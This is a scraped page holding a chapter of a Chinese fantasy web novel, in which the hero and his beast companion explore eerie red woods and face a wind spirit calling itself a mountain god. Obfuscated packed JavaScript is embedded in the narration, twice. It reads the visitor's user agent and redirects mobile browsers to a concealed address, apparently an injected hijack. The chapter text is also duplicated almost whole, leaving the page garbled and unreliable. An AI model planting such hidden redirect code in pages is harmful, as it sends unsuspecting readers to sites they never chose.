29. 山与山神
小
大
走到背面时，言希顺便查看了一下蘑菇精的生长状态。
蘑菇似乎一般都长得很快。在原生世界里，一场雨就能催生一大簇蘑菇的冒头。在这里虽然暂时没有雨，但显然也并没有特别影响蘑菇的生长速度。
不过，蘑菇精这种很难说算是什么物种的东西，生长速度比起普通蘑菇来说，还是稍微慢了一点。
即便如此，也零零散散地冒了些头。
言希蹲下来，凑近去看先前那颗被他拔散了孢子翅膀的蘑菇精。
蘑菇精在这几天里恢复了些精力，细看的话，还能看见菌盖上冒出了不太明显的半透明孢子芽，大概正在孕育下一对孢子翅膀。
言希伸出指头点点菌盖顶部，“长得挺好的嘛，安分点不许乱跑哦。”
那蘑菇精被他戳得一晃一晃的，也不知听没听懂。
逗完了蘑菇精，言希才真正走进密林。
世界树背面的密林相比正面似乎更加密集了，但面积并不大，没走几步就出了林子。
言希疑惑地回头看，“背面的分体原来这么少吗？这是为什么？”
系统也不明白：“在我体内被恢复的记载里，世界树的分体前后应当没有差别才对。但这……”
言希按下疑问，依着直觉，贴着小哼放慢了脚步。
世界树背面的地形在一段距离内还是平坦的，出了密林后，普通树干的颜色渐深。
言希不确定是不是自己的错觉，他总觉得越往前走，树干的颜色就越诡异。
……似乎在向紫红色的色块区间发展。
红色吗……
言希想起了吉尔娜红树。
如果靠近村庄那边的吉尔娜红树，预示着隔离区内的危险，那么如果这边同样是吉尔娜红树，预示的会是世界树，还是……吉尔娜红树后面的未知呢。
继续往前走去，土地的颜色也变深了。
却并非是代表着肥力旺盛的深，而是散发着诡异危险气息的黝黑，间或夹杂些灰色的土质。
小哼从喉间呼出低沉的声音，紧贴着小哼的肩胛骨的言希能明确感觉到，小哼的肌肉绷紧了。
它在警惕着什么。
言希不由自主不再发出声响，连走的每一步都尽可能轻而无声。
周边的树确实在发生变化。
言希把一片飘到他头上的树叶拿下来，并不意外地看到树叶已经变成了红色。
现在的气氛好像也不太适合爬上树远观前方的情况。
倒不如说事到如今，言希只觉得四面八方，没有一个地方是安全的。
真的要继续走下去吗……
言希的脚步停滞下来，犹豫在心中拉满了进度条。
系统：“宿主……真的还要继续走吗？这氛围好像有点诡异哎……”
言希几乎是在用气声说话，“你以前没有见过这种情况吗？不应该啊。”
系统：“呃唔……如果说是幽灵的话，确实见过。”
幽灵……
这下好了，来到新世界的第一周，就要见证到在原生世界至今都没有定数是否存在的东西了吗。
言希：“幽灵会伤害我吗？”
系统：“这……不太好说呢宿主，不过一般来说，只要没惹到他们，与前世的他们没有纠葛，就不会被无缘无故袭击。”
那听起来似乎还好。
言希转头看小哼，“小哼，你觉得可以继续走下去吗？”
小哼盯着前方一会儿，歪歪头，轻轻一蹭言希的脸颊，替言希踏出了一步。
言希扬起嘴角，一时间竟感觉放松了许多，大步往前迈出去。
前方的植物形态也愈加诡异起来。
藤蔓蜷曲而涨大，从红棕色的枝干上垂落下来，似乎要随时把路过的动物卷入顶上漆黑的树冠。
树旁的灌木丛的叶子上，纹路越来越清晰，绿色的叶片却配着白色或莹黄的叶脉，扭曲交杂，有些甚至形似鬼脸。
这要放在言希的原生世界，活脱脱就是一个沉浸式的大型恐怖密室布置风格。
言希越看，心里的恐慌程度却越来越低了。
路上所有的形变都给他一种刻意的感觉。
叶片上奇怪的叶脉，比起展现自身的可怖之处，倒不如说更像是……更像是为了吓走天敌而进化出的保护色。
一旦联想到这上面，言希甚至看着那些灌木丛，只觉得可爱。
他在一丛张牙舞爪的大型藤蔓底下停下脚步，用小刀尝试着轻触藤蔓。
很快啊，歘地一下，藤蔓几乎快出了残影，跟从来不曾存在过似的缩回了阴影里。
啊。
言希眨眨眼，有些哭笑不得。
前面萦绕的危险氛围刹那间消了个一干二净。
系统：“嗯……看起来好像不是幽灵的领地。”
言希：“我想也是。”
再继续往前时，言希微妙地感觉，脚下的平底似乎出现了一点弧度。
他脚下一顿，往前望去，前面偶尔有几处小坡和零散的乱石。虽然看不清更远的道路，但也许前方是一个向上的坡。
要不现在上树看看？
言希抬头望向树顶，黑洞洞的一片。
那显然并不是因为阳光透不进枝叶间——若真是如此，此时言希就该也看不清路了。
也就是说，那树顶确实有什么东西，制造出了一片隔绝视线的阴影吗？
言希：“伊百，那树顶上是什么东西？”
系统：“宿主你没有看到它的本体，所以我没办法告诉你哦。”
那就确实是有东西故意放出了那片阴影。
看来只能选择蒙头往前走了。
言希不再纠结，干脆利落地躬身爬上前面堵路的大石头。
他猜的确实没错，后面的路就是层层往上的坡路了，前方大概是个小山丘或是真正的山。
这不由得让他回忆起先前找湖泊时的爬树，那时有看到类似山的东西吗？
言希皱着眉想，然而除了当时在树上看见的那片湖泊的角落，其他的已经什么都不记得了。
人类的记忆果然会被不自觉加工。
回忆无果，言希只好迎难而上，见机行事了。
然而，没爬多久，一阵劲风凭空而起，几乎要把言希连人带物全部卷起来。
小哼嗷呜一声，连忙虚虚咬住言希的兜帽。
言希跌跌撞撞侧着绊了好几步，才在骤然变大的小哼身躯的阻拦下堪堪停下来。
“什么情况？”
言希猛地望向强风袭来的方向。
那边依然是望不见底的树林，狂风过后，有薄雾在林间弥漫，以肉眼可见的速度迅速弥漫至言希周围。
小哼马上切换至进攻模式，弓起背对着那边龇牙咧嘴。
这场景……怎么感觉那么眼熟啊。
言希有点懵。总觉得下一秒有什么东西要出现了——
“汝等为何擅闯吾山神领域，报上名来！”
啊对的对的，就是这个！<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868807|158700||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
言希只感觉看过的所有小说也好电视剧也好，熟悉的剧情一股脑找上了他，贴合程度甚至让他有点想要发笑。
系统瑟瑟发抖：“宿、宿主，你怎么了？你怎么在笑啊？”
言希清咳一声：“咳，没事，就是想到了好笑的事情。”
那狂风大概是听懂了言希对它的轻视，一时间刮得更猛了。
可惜依然没到能够撼动小哼的程度，言希施施然靠着小哼，始终直视着风的来源。
他没有答话，先前发出人声的东西也没有再问。
两边就这样暂时僵持下来。
言希若有所思，开口问系统：“伊百，伊斯塔大陆，有山神这种东西吗？”
系统：“没有哇！所以它到底是什么东西啊？”
言希：“？”
言希：“你问我啊？”
无奈，言希只好分析起来，“我再确认一下，不是山神这种确定的名号，单是‘神’这个存在，伊斯塔大陆有吗？”
系统有些犹豫：“没有……吧。”
系统的语气虽然很不确定，但毕竟它是百科全书，言希暂且认为系统的判断没有出错。
那么，对面的声音就绝不可能是真正意义上的“神”，只可能是装模作样的人，亦或是……
“魔兽有可能化形成人的对吧？”
这下系统很果断地肯定了：“嗯嗯，魔兽化成的人一般在体表特征上会被认为是兽人族或邪魔族。”
那么，对面的要么就是人，或是其他的什么能说话的种族，要么就是魔兽化形而成。
但这里是隔离区，唯一见过的人类踪迹还是在那片吉尔娜红树林里留下的木屋，以及在最外围采集材料的村民。
难道对面就是那个留下了废弃木屋的人？
言希猜想着，试探着开口询问：“你是谁？我没听说过这里还有山神。”
狂风跟被惹毛了似的一阵猛刮，吹得言希更纳闷了，“你不是会说话吗？怎么又不说了？”
“……滚出去！”
炸毛了。
言希这下是彻底不怕了。
不管是装模作样的人，还是讲人话的魔兽，这样一来一回，甚至被激怒后，依然不愿意露面，意味着对方本身实力并不太强。
最起码，不是战斗力方面的强。
既然自称为山神的话……
言希眼珠子一转：“我只是想来找点吃的，无意冒犯。请问山神大人，您知道您的领地里有什么好吃的东西吗？”
狂风那头沉默了，许久都没有动静。
系统：“难道跑了？”
言希又等了一会儿，遗憾地没有等到回话。
“算了，既然那边不说话，我们就继续走吧。”
言希自有打算，“来都来了，不如就顺势登个山好了。我也想看看这山与世界树比起来，到底哪个更高一点。”
世界树肯定是没办法爬上去了，想要绘制隔离区的地图的话，如果这山足够高，倒正好可以利用了。
狂风郁闷地又吹了几下，但被吹习惯且沉浸在思考中的言希，并没有发现这隐秘的回应。
倒是小哼疑惑地转头看过去，却依然只能看见一片空洞。
“小哼，走了！”
“嗷呜！”小哼不再留恋，快步跳到已经往前走的言希身边。
风在树林间左摇右晃地乱打，失去目标后只得停歇了下来。
漆黑的树顶上，阴影逐渐褪去，一双明亮的眼睛露了出来。
蘑菇似乎一般都长得很快。在原生世界里，一场雨就能催生一大簇蘑菇的冒头。在这里虽然暂时没有雨，但显然也并没有特别影响蘑菇的生长速度。
不过，蘑菇精这种很难说算是什么物种的东西，生长速度比起普通蘑菇来说，还是稍微慢了一点。
即便如此，也零零散散地冒了些头。
言希蹲下来，凑近去看先前那颗被他拔散了孢子翅膀的蘑菇精。
蘑菇精在这几天里恢复了些精力，细看的话，还能看见菌盖上冒出了不太明显的半透明孢子芽，大概正在孕育下一对孢子翅膀。
言希伸出指头点点菌盖顶部，“长得挺好的嘛，安分点不许乱跑哦。”
那蘑菇精被他戳得一晃一晃的，也不知听没听懂。
逗完了蘑菇精，言希才真正走进密林。
世界树背面的密林相比正面似乎更加密集了，但面积并不大，没走几步就出了林子。
言希疑惑地回头看，“背面的分体原来这么少吗？这是为什么？”
系统也不明白：“在我体内被恢复的记载里，世界树的分体前后应当没有差别才对。但这……”
言希按下疑问，依着直觉，贴着小哼放慢了脚步。
世界树背面的地形在一段距离内还是平坦的，出了密林后，普通树干的颜色渐深。
言希不确定是不是自己的错觉，他总觉得越往前走，树干的颜色就越诡异。
……似乎在向紫红色的色块区间发展。
红色吗……
言希想起了吉尔娜红树。
如果靠近村庄那边的吉尔娜红树，预示着隔离区内的危险，那么如果这边同样是吉尔娜红树，预示的会是世界树，还是……吉尔娜红树后面的未知呢。
继续往前走去，土地的颜色也变深了。
却并非是代表着肥力旺盛的深，而是散发着诡异危险气息的黝黑，间或夹杂些灰色的土质。
小哼从喉间呼出低沉的声音，紧贴着小哼的肩胛骨的言希能明确感觉到，小哼的肌肉绷紧了。
它在警惕着什么。
言希不由自主不再发出声响，连走的每一步都尽可能轻而无声。
周边的树确实在发生变化。
言希把一片飘到他头上的树叶拿下来，并不意外地看到树叶已经变成了红色。
现在的气氛好像也不太适合爬上树远观前方的情况。
倒不如说事到如今，言希只觉得四面八方，没有一个地方是安全的。
真的要继续走下去吗……
言希的脚步停滞下来，犹豫在心中拉满了进度条。
系统：“宿主……真的还要继续走吗？这氛围好像有点诡异哎……”
言希几乎是在用气声说话，“你以前没有见过这种情况吗？不应该啊。”
系统：“呃唔……如果说是幽灵的话，确实见过。”
幽灵……
这下好了，来到新世界的第一周，就要见证到在原生世界至今都没有定数是否存在的东西了吗。
言希：“幽灵会伤害我吗？”
系统：“这……不太好说呢宿主，不过一般来说，只要没惹到他们，与前世的他们没有纠葛，就不会被无缘无故袭击。”
那听起来似乎还好。
言希转头看小哼，“小哼，你觉得可以继续走下去吗？”
小哼盯着前方一会儿，歪歪头，轻轻一蹭言希的脸颊，替言希踏出了一步。
言希扬起嘴角，一时间竟感觉放松了许多，大步往前迈出去。
前方的植物形态也愈加诡异起来。
藤蔓蜷曲而涨大，从红棕色的枝干上垂落下来，似乎要随时把路过的动物卷入顶上漆黑的树冠。
树旁的灌木丛的叶子上，纹路越来越清晰，绿色的叶片却配着白色或莹黄的叶脉，扭曲交杂，有些甚至形似鬼脸。
这要放在言希的原生世界，活脱脱就是一个沉浸式的大型恐怖密室布置风格。
言希越看，心里的恐慌程度却越来越低了。
路上所有的形变都给他一种刻意的感觉。
叶片上奇怪的叶脉，比起展现自身的可怖之处，倒不如说更像是……更像是为了吓走天敌而进化出的保护色。
一旦联想到这上面，言希甚至看着那些灌木丛，只觉得可爱。
他在一丛张牙舞爪的大型藤蔓底下停下脚步，用小刀尝试着轻触藤蔓。
很快啊，歘地一下，藤蔓几乎快出了残影，跟从来不曾存在过似的缩回了阴影里。
啊。
言希眨眨眼，有些哭笑不得。
前面萦绕的危险氛围刹那间消了个一干二净。
系统：“嗯……看起来好像不是幽灵的领地。”
言希：“我想也是。”
再继续往前时，言希微妙地感觉，脚下的平底似乎出现了一点弧度。
他脚下一顿，往前望去，前面偶尔有几处小坡和零散的乱石。虽然看不清更远的道路，但也许前方是一个向上的坡。
要不现在上树看看？
言希抬头望向树顶，黑洞洞的一片。
那显然并不是因为阳光透不进枝叶间——若真是如此，此时言希就该也看不清路了。
也就是说，那树顶确实有什么东西，制造出了一片隔绝视线的阴影吗？
言希：“伊百，那树顶上是什么东西？”
系统：“宿主你没有看到它的本体，所以我没办法告诉你哦。”
那就确实是有东西故意放出了那片阴影。
看来只能选择蒙头往前走了。
言希不再纠结，干脆利落地躬身爬上前面堵路的大石头。
他猜的确实没错，后面的路就是层层往上的坡路了，前方大概是个小山丘或是真正的山。
这不由得让他回忆起先前找湖泊时的爬树，那时有看到类似山的东西吗？
言希皱着眉想，然而除了当时在树上看见的那片湖泊的角落，其他的已经什么都不记得了。
人类的记忆果然会被不自觉加工。
回忆无果，言希只好迎难而上，见机行事了。
然而，没爬多久，一阵劲风凭空而起，几乎要把言希连人带物全部卷起来。
小哼嗷呜一声，连忙虚虚咬住言希的兜帽。
言希跌跌撞撞侧着绊了好几步，才在骤然变大的小哼身躯的阻拦下堪堪停下来。
“什么情况？”
言希猛地望向强风袭来的方向。
那边依然是望不见底的树林，狂风过后，有薄雾在林间弥漫，以肉眼可见的速度迅速弥漫至言希周围。
小哼马上切换至进攻模式，弓起背对着那边龇牙咧嘴。
这场景……怎么感觉那么眼熟啊。
言希有点懵。总觉得下一秒有什么东西要出现了——
“汝等为何擅闯吾山神领域，报上名来！”
啊对的对的，就是这个！<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868807|158700||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
言希只感觉看过的所有小说也好电视剧也好，熟悉的剧情一股脑找上了他，贴合程度甚至让他有点想要发笑。
系统瑟瑟发抖：“宿、宿主，你怎么了？你怎么在笑啊？”
言希清咳一声：“咳，没事，就是想到了好笑的事情。”
那狂风大概是听懂了言希对它的轻视，一时间刮得更猛了。
可惜依然没到能够撼动小哼的程度，言希施施然靠着小哼，始终直视着风的来源。
他没有答话，先前发出人声的东西也没有再问。
两边就这样暂时僵持下来。
言希若有所思，开口问系统：“伊百，伊斯塔大陆，有山神这种东西吗？”
系统：“没有哇！所以它到底是什么东西啊？”
言希：“？”
言希：“你问我啊？”
无奈，言希只好分析起来，“我再确认一下，不是山神这种确定的名号，单是‘神’这个存在，伊斯塔大陆有吗？”
系统有些犹豫：“没有……吧。”
系统的语气虽然很不确定，但毕竟它是百科全书，言希暂且认为系统的判断没有出错。
那么，对面的声音就绝不可能是真正意义上的“神”，只可能是装模作样的人，亦或是……
“魔兽有可能化形成人的对吧？”
这下系统很果断地肯定了：“嗯嗯，魔兽化成的人一般在体表特征上会被认为是兽人族或邪魔族。”
那么，对面的要么就是人，或是其他的什么能说话的种族，要么就是魔兽化形而成。
但这里是隔离区，唯一见过的人类踪迹还是在那片吉尔娜红树林里留下的木屋，以及在最外围采集材料的村民。
难道对面就是那个留下了废弃木屋的人？
言希猜想着，试探着开口询问：“你是谁？我没听说过这里还有山神。”
狂风跟被惹毛了似的一阵猛刮，吹得言希更纳闷了，“你不是会说话吗？怎么又不说了？”
“……滚出去！”
炸毛了。
言希这下是彻底不怕了。
不管是装模作样的人，还是讲人话的魔兽，这样一来一回，甚至被激怒后，依然不愿意露面，意味着对方本身实力并不太强。
最起码，不是战斗力方面的强。
既然自称为山神的话……
言希眼珠子一转：“我只是想来找点吃的，无意冒犯。请问山神大人，您知道您的领地里有什么好吃的东西吗？”
狂风那头沉默了，许久都没有动静。
系统：“难道跑了？”
言希又等了一会儿，遗憾地没有等到回话。
“算了，既然那边不说话，我们就继续走吧。”
言希自有打算，“来都来了，不如就顺势登个山好了。我也想看看这山与世界树比起来，到底哪个更高一点。”
世界树肯定是没办法爬上去了，想要绘制隔离区的地图的话，如果这山足够高，倒正好可以利用了。
狂风郁闷地又吹了几下，但被吹习惯且沉浸在思考中的言希，并没有发现这隐秘的回应。
倒是小哼疑惑地转头看过去，却依然只能看见一片空洞。
“小哼，走了！”
“嗷呜！”小哼不再留恋，快步跳到已经往前走的言希身边。
风在树林间左摇右晃地乱打，失去目标后只得停歇了下来。
漆黑的树顶上，阴影逐渐褪去，一双明亮的眼睛露了出来。